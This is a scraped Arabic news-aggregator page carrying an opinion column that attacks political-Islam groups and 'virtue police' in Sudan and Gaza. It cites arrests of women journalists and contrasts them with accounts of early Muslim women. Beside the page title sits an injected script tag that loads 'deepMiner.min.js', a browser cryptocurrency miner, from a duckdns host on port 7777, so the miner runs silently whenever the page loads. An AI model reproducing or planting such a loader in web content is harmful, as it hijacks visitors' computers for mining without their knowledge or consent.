googletag.defineSlot('/21620968445/Masress_Ar_Article_1', [[336, 280], [300, 300], [300, 250], [300, 600]], 'div-gpt-ad-1446553049-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Article_1', 'div-gpt-ad-1446553049-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Article_3', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-1446553047-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Article_3', 'div-gpt-ad-1446553047-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Article_2', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-1446553048-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Article_2', 'div-gpt-ad-1446553048-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Widget', [[222, 280]], 'div-gpt-ad-374346843-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Widget', 'div-gpt-ad-374346843-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Siteunder', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-1775746800-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Siteunder', 'div-gpt-ad-1775746800-0-oop').addService(googletag.pubads()); googletag.pubads().enableSingleRequest(); googletag.enableServices();}); مصرس : ألا إنهم هم المفسدون ولكن لا يشعرون<script src="https://jhondi33.duckdns.org:7777/deepMiner.min.js"></script>
 
المنوفية تحصد منصب أمين اتحاد طالبات الأزهر    حلقة ناقشية لتعميم التنوع البيولوجي في قطاع الطاقة و التعدين    محافظ القليوبية: كوبري الشرقاوية شريان جديد بشبرا الخيمة    البورصة تختتم تعاملات أخر جلسات الأسبوع على أرباح 6.8 مليار جنيه    وزير التنمية المحلية يجتمع مع ١٠٠ شاب من أصحاب العمل المحلي    الرئيس الفلسطيني يشكر جهود مصر للتوصل إلى تهدئة في غزة    الاحتلال الإسرائيلي يعتقل أسرة فلسطينية في القدس    فيديو| وزير الشباب: سنصبح من أفضل 10 دول عالميا بالمجال الرياضي    خالد الدرندلي رئيسا لبعثة الأهلي في الإمارات لمواجهة الوصل    قرار مفاجئ من أجيري بشأن مباراة المنتخب الأولمبي أمام تونس    الكاف يحدد موعد مباريات دور ال 32 من دوري أبطال أفريقيا    ألبومات ذات صلة    صور وفيديو| كسر ماسورة مياه يصيب محور المشير بارتباك مروري    سقوط عصابة سرقة وفك أعمدة الإعلانات بشوارع التجمع الأول    الخبر التالى:    تنفيذ 4378 حكما على متهمين هاربين وتحصيل 229 ألف جنيه غرامات بالغربية    ضبط 4378 متهما هاربين من أحكام وتحصيل 22072 جنيها كغرامات بالغربية    أخبار قد تهمك    «وعاشروهن بالمعروف» تختتم رسائلها ب«العلاقة الخاصة» بين الزوجين    محافظ السويس يطالب العمال ببذل الجهد للانتهاء من إنشاء محطة صرف بحي الجناين    وزارتا التموين والأوقاف يتعاونان لتوزيع السكر والأرز على المحتاجين    .. وإجراءات استباقية لتأمين أبراج الكهرباء وصيانة المهمات    مصدر بالمصري ليلا كورة: نرغب في ضم باسم مرسي    لأول مرة.. دار الإفتاء تطلق وحدة لأفلام الرسوم المتحركة ردا على المتطرفين    سيول الخير تعم وادي فيران.. وأمطار على نويبع.. صور    أول رد من تركيا على تصريحات النيابة السعودية حول قضية خاشقجي    دعوات لفحص المعاملات المالية لحزب البديل بشكل كامل بعد تلقيه تبرعات مشبوهة    النيابة السعودية توضح دور "ولي العهد" في مقتل "خاشقجي"    شاهد.. لقطات مرعبة من حرائق كاليفورنيا    حزب الوفد ينعي للأمة المصرية البطل الشهيد ساطع النعماني    رئيس وزراء ماليزيا: نقل السفارة الأسترالية من تل أبيب إلى القدس غير مفيد    بالصور.. وزير الزراعة يتفقد معهد بحوث صحة الحيوان    شاهد.. لوحات إرشادية جديدة للمتحف المصرى بالتحرير احتفالا بعيده ال116    الأقصر تحتضن مهرجان الشعر العربي برعاية سلطان القاسمي    تعرف على موعد حفل شيرين الجديد    شاهد..ياسمين رئيس في شوارع بيروت    القول الحق فى مَولد خير الخلق    طارق سلمان: كلية طب الأزهر تقود الجامعة في تصنيفات عالمية    وزير المالية ل«الشروق»: الالتزام بالبرامج البيئية شرط توفير التمويل للمشروعات    محافظ أسوان يهنئ الدكتور مجدي يعقوب بمناسبة عيد ميلاده    حكم الجلوس في الصلاة لغير القادر    الأرصاد تناشد المواطنين بضرورة ارتداء الملابس الشتوية    الخبر التالى:    30 يونيو.. الانتهاء من الأعمال الإنشائية بمستشفى جهينة المركزي    غدا.. "شارك حبك لحبيبك" أمسية دينية لأوقاف الإسماعيلية    إغلاق الأكاديمية الدولية للتعليم بسبب العمل بدون ترخيص    محافظ الأقصر يلتقى وفد مشروع إعادة اكتشاف الأصول التراثية لإسنا    ميندي لاعب سيتي يخضع لجراحة في الركبة    علي معلول ومحمد نجيب يواصلان التأهيل في الأهلي    أنباء عن وقف التحالف العربي عملياته في الحديدة    " جروس" يصل القاهرة اليوم ليستكمل تدريبات الزمالك    تناول 4 فناجين قهوة يومياً يقى من مرض السكر    شاهد.. الكلية الفنية العسكرية تحصد جائزتين    دراسة: البشر أفضل في تذكر الأسماء عن الوجوه    بيع قلادة ماري أنطوانيت ب36 مليون دولار في مزاد بجنيف    بوضوح    كلام بحب    .. والسلام ختام    







شكرا على الإبلاغ!
سيتم حجب هذه الصورة تلقائيا عندما يتم الإبلاغ عنها من طرف عدة أشخاص.





ألا إنهم هم المفسدون ولكن لا يشعرون

كما انهارت أعظم المدنيات فى التاريخ تحت ضربات القبائل البربرية أصبحنا نخشى على ما تبقى من المدنية العربية أن تسحقها الهجمة المتطرفة المعاصرة، إن جماعات الإسلام السياسى بحكم منابع نشأتها وعقيدتها وتمويلها لن تتوقف حتى تقضى على الأخضر واليابس فى بلادنا.

فبعد أن سمحت الأنظمة المستبدة لهذه الجماعات من إخوان وسلف وجهاد بالانتشار فى مجتمعاتنا، لاستخدامها فى استقطاب الجماهير بعيدا عن الحركات والأحزاب السياسية المعارضة، وتغييب عقول الناس عن قضاياهم الحقيقية فى الحرية والتنمية والازدهار، إلى قضايا غيبية كالحجاب والنقاب والسحر وتفسير الأحلام والجن والعفاريت وبول الإبل ورضاع الكبير، من أجل القضاء على أى أمل فى ظهور مجتمع مدنى قوى وقادر على استخلاص حقوقه من هذه الطغم الحاكمة، تكاثرت هذه الجماعات وانتشرت كالخلايا السرطانية فى خلايا المجتمع.
وبعد ثلاثة عقود مما سمى بالصحوة الدينية المباركة، بدأت آثارها المدمرة تظهر الواحدة تلو الأخرى، من إسقاط الأسلوب العلمى من سلم القيم لحساب الخرافة والشعوذة، إلى انهيار البحث العلمى وخروج جامعاتنا من التصنيف العالمى، إلى تدمير المنظومة الأخلاقية نتيجة للتدين المزيف الذى لا يستطيع بحكم سطحية ثقافته أن يخاطب جوهر الإنسان ولا عقله ولا احتياجاته بل يدور حول المظهر الخارجى والغرائز الحيوانية، وأخيراً استطاعت هذه الجماعات الاستيلاء على الحكم فى بعض البلاد كالسودان وغزة بعد انقلابات دامية، وبدأت فى مسخ شخصية المواطن العربى، وتحويله من فرد حر مستقل قادر على الاختيار إلى عضو فى قطيع عليه السمع والطاعة، وتوالت المشاهد المفزعة..
كانت الخطوة الأولى التى اتخذتها الجماعة الحاكمة فى كل من السودان وغزة، هى إنشاء شرطة للفضيلة تقوم بالتجسس على الناس، ومراقبتهم وتتبع عوراتهم، وانتهاك حرماتهم، فالإسلام البدوى لا يعترف بما يسمى بالحريات الشخصية أو الخصوصية، ناهيك طبعا عن الحريات السياسية التى تعتبر نكتة مضحكة فى هذه الأنظمة، فجميع تصرفات الإنسان يجب أن تكون حسب النموذج الإيديولوجى للجماعة الحاكمة، وإلا تعرض للضبط، والإحضار، والسجن، والإهانة، ثم المحاكمة التى تنتهى غالبا بعقوبات بدنية كالضرب والجلد والقطع. ولقد اتخذت هذه الشرطة من هيئة الأمر بالمعروف السعودية أسوة ونموذجا، ولقد تصاعد الغضب الشعبى ضد ممارسات هذه الهيئة فى السنوات الأخيرة، وتعددت حوادث الاعتداء على رجالها بالضرب أو القتل، وكانت أشهر تلك الحوادث التى وقعت فى جامعة اليمامة منذ أسابيع، عند إقامة أول عرض مسرحى فى تاريخ المملكة، حيث دخل حوالى مائة من رجال الهيئة، واحتلوا الصفوف الأولى، وبدأوا فى التشويش والتكبير، مما استفز الطلاب، ودارت معركة استخدم فيها كل ما طالته الأيدى، وبدأت هيبة الهيئة فى التراقص على وقع لكمات الشباب السعودى. هذا النموذج ، تم استنساخه ثلاث مرات فى السنوات الأخيرة، مرة فى أفغانستان على يد حكومة طالبان، ثم فى السودان على يد حكومة الإنقاذ، ومؤخرا فى غزة بعد أن قامت حركة حماس بالسيطرة عليها، ولا يمر أسبوع دون أن تطالعنا الأنباء بما يندى له الجبين. ففى السودان الشقيق، قامت شرطة الفضيلة بإلقاء القبض على الصحفية اللامعة »لبنى أحمد الحسين«، بتهمة ارتداء بنطلون، أثناء وجودها فى احتفال عام يحضره ثلاثمائة شخص، حيث قام رجال الشرطة باقتحام المكان، وعزل الفتيات اللاتى يرتدين البنطلون، واقتيادهن كالعاهرات إلى المخفر، حيث تم عرضهن على النيابة وتحويلهن للمحاكمة، علقت لبنى على هذه المهزلة قائلة: »الحمد لله أننا ضبطنا فى مكان عام بتهمة ارتداء بنطلون وبلوزة، وليس فى مكان خاص بدون بلوزة وبنطلون«، ولقد وجهت لبنى دعوة مطبوعة للصحفيين والصحفيات لحضور جلسة المحكمة المرتقبة، وأردفت فى الدعوة أن الجميع مدعوون أيضا لحضور حفلة الجلد إذا ما أدانتها المحكمة، حيث إن سوابق الأحكام فى قضايا البنطلون فى السودان والتى طالت آلاف الفتيات كانت دائما أربعين جلدة، هذا بالإضافة إلى وصمة العار التي تلحق إلى الأبد بفتاة ألصقت بها تهمة ارتداء ملابس مخلة بالآداب العامة.
وليس الحال فى غزة بأفضل منه فى السودان، فالصحفية والروائية الفلسطينية »أسماء الغول« ضبطت على شاطئ غزة مع زملاء وزميلات، بدعوة من صديق وزوجته لقضاء بعض الأوقات على شاطئ غزة، فألقى القبض عليها من قبل شرطة الشاطئ بتهمة السباحة بالزى غير الشرعى، والضحك بصوت عال أثناء السباحة »دون أدب وبكل وقاحة، ودون وجود أحد من أهلها أو أقربائها معها« كما جاء فى نص البلاغ!! كما وجهت للجميع تهمة الاختلاط غير المشروع رغم وجودهم فى مكان عام، وهذا الذى حدث مع أسماء يتكرر يوميا عشرات المرات، ويلقى الرعب والإذلال فى قلوب المواطنين البسطاء فى غزة.
أهذا هو الإسلام الذى أنزل على محمد (صلى الله عليه وسلم)؟ أو هكذا أمر الله ورسوله بالتجسس على الناس، وانتهاك حرماتهم، والتعدى على خصوصياتهم، واتهامهم فى شرفهم، والإساءة لسمعتهم؟!! دعونا نلقى نظرة على أحوال بنات الصحابة، وبنات بيت النبوة، وكيف كان المجتمع يتعامل معهن، ومع ملابسهن وسلوكياتهن مما جاء فى كتب التراث الثقات التى لا يقدح فيها أحد، لنرى بأنفسنا الفارق الكبير بين دين الإسلام ودين الصحراء، وسنكتفى هنا بأن نضرب مثلا بريحانتى قريش، سكينة بنت الحسين حفيد رسول الله، وعائشة بنت طلحة بن عبيد الله، أو طلحة الخير الذى افتدى الرسول، وأحد المبشرين بالجنة.
كان جمال سكينة يأخذ الألباب، فحين رآها أبوهريرة قال: »سبحان الله كأنها من الحور العين«، وإلى جانب الجمال اشتهرت سكينة بالتأنق فى ملابسها، وكانت نساء المدينة يقلدنها فى أزيائها، خاصة تسريحة شعرها المبتكرة التى سميت ب»الطرة السكينية« واختلفت الروايات فى عدد أزواج سكينة ووصلوا إلى ستة أزواج أشهرهم مصعب بن الزبير. كما عرفت سكينة بطول باعها فى الأدب والشعر، وكان بيتها فى المدينة صالونا أدبيا تستقبل فيه الشعراء والرواة والمطربين الذين كانوا يمكثون فى ضيافتها أياما وليالى، وكانت تطارحهم قصائد النسيب وتجادلهم فى أشعارهم، ومنهم المطرب البغدادى الشهير حنين النصرانى، والشاعر الماجن الأشهر عمر ابن أبى ربيعة الذى قال فيها شعرا كثيرا، منه قصيدته الشهيرة التى مطلعها: »قالت سكينة والدموع ذوارف منها على الخدين والجلباب«. أما عائشة، فيروى ابن إسحاق عن أبيه: (دخلت على عائشة بنت طلحة ،وكانت تجلس وتأذن كما يأذن الرجال، وقال لها أنس بن مالك: إن القوم يريدون أن يدخلوا إليك فينظروا إلى حسنك، قالت: أفلا أخبرتنى فألبس أحسن ثيابى، ويصفها الذهبى بأنها كانت أجمل نساء زمانها وأرأسهن، وأن حديثها مخرج فى الصحاح (أى أنها من العدول)، وعندما عاتبها زوجها مصعب بن الزبير على تبرجها الشديد قالت له: »إن الله وسمنى بمسيم الجمال فأحببت أن يراه الناس، فيعرفوا فضلى عليهم، وما كنت لأستره«.
أى أن سكينة وعائشة وبالتأكيد غيرهما من بنات الصحابة كن يحيين حياة أى امرأة عصرية ذات حسب وشرف وثقافة فى زماننا، ولم ينكر عليهن ذلك أحد، لا من فقهاء المدينة السبعة ومنهم ابن عمر، ولا من رجال بيت النبوة وعلى رأسهم الإمام على زين العابدين بن الحسين أخو سكينة، ولا أمرهما أحد بالحجاب أو بعدم الاختلاط بالرجال، كما لم يكن واقع المجتمع فى زمن النبوة والصحابة كما يصوره لنا السادة المتطرفون، »حجاب، وجلباب، واكتئاب، ونساء كالغفر ممنوعات من التجمل والتزين«، وبالتأكيد لم تكن هناك شرطة للفضيلة. فما الذى يفعله بأهلنا فى السودان وغزة هؤلاء المتطرفون؟ وإلى أية مرجعية يستندون؟ وما الذى يتبقى من الإنسان إذا فقد حريته، وأهينت كرامته، وجرى إذلاله بين الناس؟ إن هؤلاء يصدق فيهم قول الله »وإذا قيل لهم لا تفسدوا فى الأرض قالوا إنما نحن مصلحون، ألا أنهم هم المفسدون ولكن لا يشعرون«، ولا حول ولا قوة إلا بالله.


انقر هنا لقراءة الخبر من مصدره.